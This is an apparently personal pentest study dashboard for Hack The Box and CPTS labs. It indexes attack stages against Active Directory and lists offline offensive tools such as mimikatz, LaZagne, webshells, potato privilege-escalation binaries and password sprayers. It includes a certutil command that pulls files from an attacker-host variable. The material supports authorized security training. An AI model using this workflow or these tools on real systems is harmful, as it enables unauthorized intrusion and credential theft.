FLOW ^: Pentest Workflow

HTB Pentest Attack Flow — Dashboard

The complete CPTS attack-flow index, stage map, decision points, and offline toolkit entry point.

intermediate updated 2026-08-29 NetExec · Impacket · BloodHound CE · Certipy

HTB Pentest Attack Flow

[!dashboard] Workspace Playbook: HTB Attack Flow Playbook

Vault: Cybersecurity MOC

Purpose: Move from scope and reconnaissance through exploitation, post-exploitation, evidence handling, and reporting.

[!warning] Authorized targets only Use these commands only inside an engagement or lab where you have explicit permission. Record scope, timestamps, commands, and evidence as you work.

Quick Setup

[!tip] Set the engagement context once Keep target details in the shell environment so commands remain readable and accidental target mix-ups are less likely.

export IP="10.10.10.10"          # primary target host
export TARGET="target.htb"
export DOMAIN="inlanefreight.local"
export DC="dc01.$DOMAIN"         # DC FQDN
export DCIP="10.10.10.5"         # DC IP — most impacket/nxc flags want -dc-ip $DCIP
export LHOST="10.10.14.2"
export U="username"
export P="password"
export NT=""                     # NT hash, when you have one: -hashes :$NT
printf '%s\t%s %s\n' "$IP" "$TARGET" "$DC" | sudo tee -a /etc/hosts
printf '%s\t%s\n' "$DCIP" "$DC" | sudo tee -a /etc/hosts

[!tip] Wordlists — set once, reuse everywhere

export ROCKYOU="/usr/share/wordlists/rockyou.txt"
export SECLISTS="/usr/share/SecLists"
# common pulls:
#   $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt
#   $SECLISTS/Usernames/xato-net-10-million-usernames.txt
#   $SECLISTS/Passwords/Leaked-Databases/rockyou.txt

On a fresh attack box: sudo apt install seclists wordlists && sudo gunzip /usr/share/wordlists/rockyou.txt.gz. Repo: SecLists.

[!note] Keep the clock synchronized Kerberos is time-sensitive (max ~5 min skew, KRB_AP_ERR_SKEW). If authentication fails unexpectedly, compare your clock with the domain controller before changing attack paths.

nmap -p 88 --script clock-skew -Pn $DCIP        # measure the skew
sudo ntpdate $DCIP                              # hard-sync (or: sudo timedatectl set-ntp off first)
faketime -f '+7h30m' getTGT.py "$DOMAIN/$U:$P" -dc-ip $DCIP   # or wrap just the one tool

Prefer faketime per-command over touching the system clock; htpdate works when only HTTP(S) egress exists. Deep dive: Stage 05 — Kerberos Attacks.

[!tools] Modern toolchain (2026) — legacy → current

LegacyUse insteadWhy
CrackMapExec (cme)NetExec (nxc)cme is unmaintained; nxc is the drop-in successor (nxc smb/ldap/winrm/mssql).
BloodHound Legacy + SharpHound 4BloodHound CE + bloodhound-ce-python / RustHound-CECE (Postgres, new edge model) is what HTB/CPTS material assumes now; legacy ingestors break against it.
ADCS by handCertipy (certipy-ad find -vulnerable) + on-host Certify.exe (SHA-256 · GPG signature)One command maps ESC1–ESC16 instead of manual template audit.
On-host Kerberos by handRubeus.exe (SHA-256 · GPG signature)Roast, asktgt/asktgs, delegation abuse, ticket injection from Windows.
Manual ACL editsbloodyAD / impacket dacledit.py, owneredit.py, rbcd.pyReversible, scriptable ACE changes.

Everything in the right column above (and more) ships offline in this vault — see the toolkit table below.

Kill Chain

CPTS kill chainLR
00 Passive Recon
01 Host Discovery
02 Web Enumeration
Foothold Toolkits
03 Service Enumeration
04 AD Enumeration
05 Kerberos Attacks
06 ACL and Object Abuse
07 ADCS Abuse
08 Credential Attacks
09 Privilege Escalation
10 Lateral Movement and Pivoting
Trusts and Cross-Forest
11 Documentation and Reporting

Stage Index

#StagePrimary outcome
01Stage 00 — Passive External ReconBuild an external picture without touching the target.
02Stage 01 — Recon and Host DiscoveryIdentify live hosts, services, names, and initial priorities.
03Stage 02 — Web Enumeration and ExploitationMap and test the web attack surface.
04Foothold Toolkit — File TransfersMove tools and evidence using an appropriate channel.
05Foothold Toolkit — Shells, Payloads, and MetasploitEstablish and stabilize an authorized foothold.
06Stage 03 — Service EnumerationDeep-enumerate SMB, RPC, LDAP, DNS, and other services.
07Stage 04 — Active Directory EnumerationBuild the directory, host, session, and privilege graph.
08Stage 05 — Kerberos AttacksIdentify and validate Kerberos-specific attack paths.
09Stage 06 — ACL and Object AbuseTurn delegated rights and object control into escalation paths.
10Stage 07 — ADCS and Certificate AbuseEnumerate and safely validate certificate attack paths.
11Stage 08 — Password Attacks and Credential HuntingFind, validate, and protect credential material.
12Stage 09 — Privilege EscalationEscalate locally on Linux or Windows with evidence.
13Stage 10 — Lateral Movement, Pivoting, and LootMove deliberately, reach segmented assets, and collect evidence.
14Domain Trusts and Cross-ForestExtend the graph beyond a single domain.
15Stage 11 — Documentation and ReportingMaintain evidence and turn validated paths into findings.
16Appendix — Worked ChainsReview end-to-end examples.
17Tool IndexJump from a tool to its place in the workflow.

Offline Toolkit (attachments/)

The attachments/ folder ships offline with this vault — no egress needed on an air-gapped or HTB VPN lab. Verify integrity before staging anything to a target (record: SHA256SUMS (GPG signature)):

cd attachments && sha256sum -c SHA256SUMS.txt --ignore-missing

[!warning] Verify, then stage Confirm every binary against SHA256SUMS (GPG signature) before use, and expect AV/Defender to flag most of these — stage in a lab, whitelist only in-scope paths, and clean up afterwards (Stage 11).

FilePlatformPurposePrimary stage
Certify.exe (SHA-256 · GPG signature)WindowsGhostPack Certify — on-host ADCS enumeration/abuse (ESC paths)Stage 07
Go365_linux_amd64.tar.gz (SHA-256 · GPG signature)LinuxGo365 — Office 365 password sprayingStage 08
GodPotato-NET35.exe (SHA-256 · GPG signature)Windows (.NET 3.5)SeImpersonate → SYSTEM (works with Spooler disabled)Stage 09
GodPotato-NET4.exe (SHA-256 · GPG signature)Windows (.NET 4.x)SeImpersonate → SYSTEM (works with Spooler disabled)Stage 09
Inveigh.ps1 (SHA-256 · GPG signature)WindowsLLMNR/NBNS/mDNS spoofing + NTLM capture (Windows-side Responder)Stage 03
JuicyPotato.exe (SHA-256 · GPG signature)WindowsSeImpersonate privesc (pre-Server 2019 / Win10 1809)Stage 09
LaZagne.exe (SHA-256 · GPG signature)WindowsLocal credential looting (browsers, mail, Wi-Fi, etc.)Stage 10
MSOLSpray.ps1 (SHA-256 · GPG signature)WindowsAzure AD / O365 password sprayingStage 08
PetitPotam.py (SHA-256 · GPG signature)LinuxEFS RPC NTLM coercion (ESC8 prerequisite)Stage 07
PowerUp.ps1 (SHA-256 · GPG signature)WindowsPowerSploit PowerUp — Windows privesc misconfig checksStage 09
PowerView.ps1 (SHA-256 · GPG signature)WindowsPowerSploit PowerView — AD enumerationStage 04
PrintSpoofer64.exe (SHA-256 · GPG signature)WindowsSeImpersonate → SYSTEM via named pipe (needs Spooler)Stage 09
PrivescCheck.ps1 (SHA-256 · GPG signature)WindowsPrivescCheck — PowerShell Windows privesc enumerationStage 09
Rubeus.exe (SHA-256 · GPG signature)WindowsGhostPack Rubeus — Kerberos abuse (roast, tickets, delegation)Stage 05
SHA256SUMS (GPG signature)AnyIntegrity record for every file in attachments/This dashboard
Seatbelt.exe (SHA-256 · GPG signature)WindowsGhostPack Seatbelt — host situational awarenessStage 09
SharpDPAPI.exe (SHA-256 · GPG signature)WindowsGhostPack SharpDPAPI — DPAPI masterkey/blob abuseStage 10
SharpHound.zip (SHA-256 · GPG signature)WindowsSharpHound collector (exe + ps1) for BloodHound CEStage 04
SharpUp.exe (SHA-256 · GPG signature)WindowsGhostPack SharpUp — privesc misconfig checks (C#)Stage 09
SharpView.exe (SHA-256 · GPG signature)WindowsSharpView — C# port of PowerViewStage 04
SharpWMI.exe (SHA-256 · GPG signature)WindowsGhostPack SharpWMI — WMI lateral movementStage 10
Snaffler.exe (SHA-256 · GPG signature)WindowsSnaffler — hunt creds in domain sharesStage 03
StandIn_v13_Net35_45.zip (SHA-256 · GPG signature)WindowsStandIn — AD object/ACE manipulation from WindowsStage 06
SweetPotato.exe (SHA-256 · GPG signature)WindowsPotato combo (PrintSpoofer + Rotten + EfsRpc)Stage 09
Whisker.exe (SHA-256 · GPG signature)WindowsShadow Credentials (msDS-KeyCredentialLink) from WindowsStage 06
chisel.exe (SHA-256 · GPG signature)Windowschisel — TCP/UDP tunneling over HTTPStage 10
chisel_linux_amd64 (SHA-256 · GPG signature)Linuxchisel — TCP/UDP tunneling over HTTPStage 10
donut_v1.1.zip (SHA-256 · GPG signature)Crossdonut — PE/DLL/EXE → position-independent shellcodeFoothold — Shells
fscan_windows_x64.exe (SHA-256 · GPG signature)Windowsfscan — internal all-in-one scanner (ports, services, creds)Stage 10
gowitness_linux_amd64 (SHA-256 · GPG signature)Linuxgowitness — bulk web screenshottingStage 02
gowitness_windows_amd64.exe (SHA-256 · GPG signature)Windowsgowitness — bulk web screenshottingStage 02
jaws-enum.ps1 (SHA-256 · GPG signature)WindowsJAWS — Windows privesc enumeration scriptStage 09
kerbrute_linux_amd64 (SHA-256 · GPG signature)Linuxkerbrute — Kerberos user enum + sprayStage 04
kerbrute_windows_amd64.exe (SHA-256 · GPG signature)Windowskerbrute — Kerberos user enum + sprayStage 04
ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature)Linuxligolo-ng agent — TUN-based pivotingStage 10
ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature)Windowsligolo-ng agent — TUN-based pivotingStage 10
linpeas.sh (SHA-256 · GPG signature)LinuxLinPEAS — Linux privesc enumerationStage 09
linpeas_linux_amd64 (SHA-256 · GPG signature)LinuxLinPEAS binary buildStage 09
mimikatz_trunk.zip (SHA-256 · GPG signature)Windowsmimikatz — credential extraction, tickets, DCSyncStage 10
nc64.exe (SHA-256 · GPG signature)Windowsnetcat for Windows — shells, transfers, listenersFoothold — Shells
nishang-master.zip (SHA-256 · GPG signature)WindowsNishang — offensive PowerShell toolkitFoothold — Shells
nt-webshell-rosepine.aspx (SHA-256 · GPG signature)IIS / ASPXCustom C# ASPX webshell for IIS targetsStage 02
pspy32 (SHA-256 · GPG signature)Linux (x86)pspy — unprivileged process/cron monitorStage 09
pspy64 (SHA-256 · GPG signature)Linux (x64)pspy — unprivileged process/cron monitorStage 09
rp-shell.asp (SHA-256 · GPG signature)IIS / ASPClassic ASP webshellStage 02
rp-shell.jsp (SHA-256 · GPG signature)Java app serversJSP webshell (Tomcat, JBoss, etc.)Stage 02
rp-shell.php (SHA-256 · GPG signature)PHP hostsPHP webshellStage 02
targetedKerberoast.py (SHA-256 · GPG signature)LinuxTargeted kerberoast — set an SPN on a GenericWrite targetStage 06
winPEASany.exe (SHA-256 · GPG signature)Windows (any arch)WinPEAS — Windows privesc enumerationStage 09
winPEASx64.exe (SHA-256 · GPG signature)Windows (x64)WinPEAS — Windows privesc enumerationStage 09
ysoserial-all.jar (SHA-256 · GPG signature)Javaysoserial — Java deserialization payloadsStage 02
ysoserial.net_v1.36.zip (SHA-256 · GPG signature)Windowsysoserial.net — .NET deserialization payloadsStage 02

[!tip] Where to stage from Serve the whole folder from your attack box with python3 -m http.server 8000 --directory attachments or updog, then pull with certutil -urlcache -split -f http://$LHOST:8000/<file> or iwr — transfer recipes in Foothold Toolkit — File Transfers.

Progress

Engagement Discipline

  • Work from scope and evidence, not assumptions.
  • Prefer the least invasive test that proves or disproves a path.
  • Keep raw output separate from conclusions.
  • Record credentials as sensitive evidence; do not paste secrets into permanent notes.
  • Log every material target change and include a rollback step.
  • Stop and reassess when a command could affect availability or other users.
  • Every new credential = restart at Stage 04 as that identity (new BloodHound edges).
  • Reverse every AD object/ACE change you make — see the OPSEC callouts in Stage 06.

[!navigation] Start the workflow Next: Stage 00 — Passive External Recon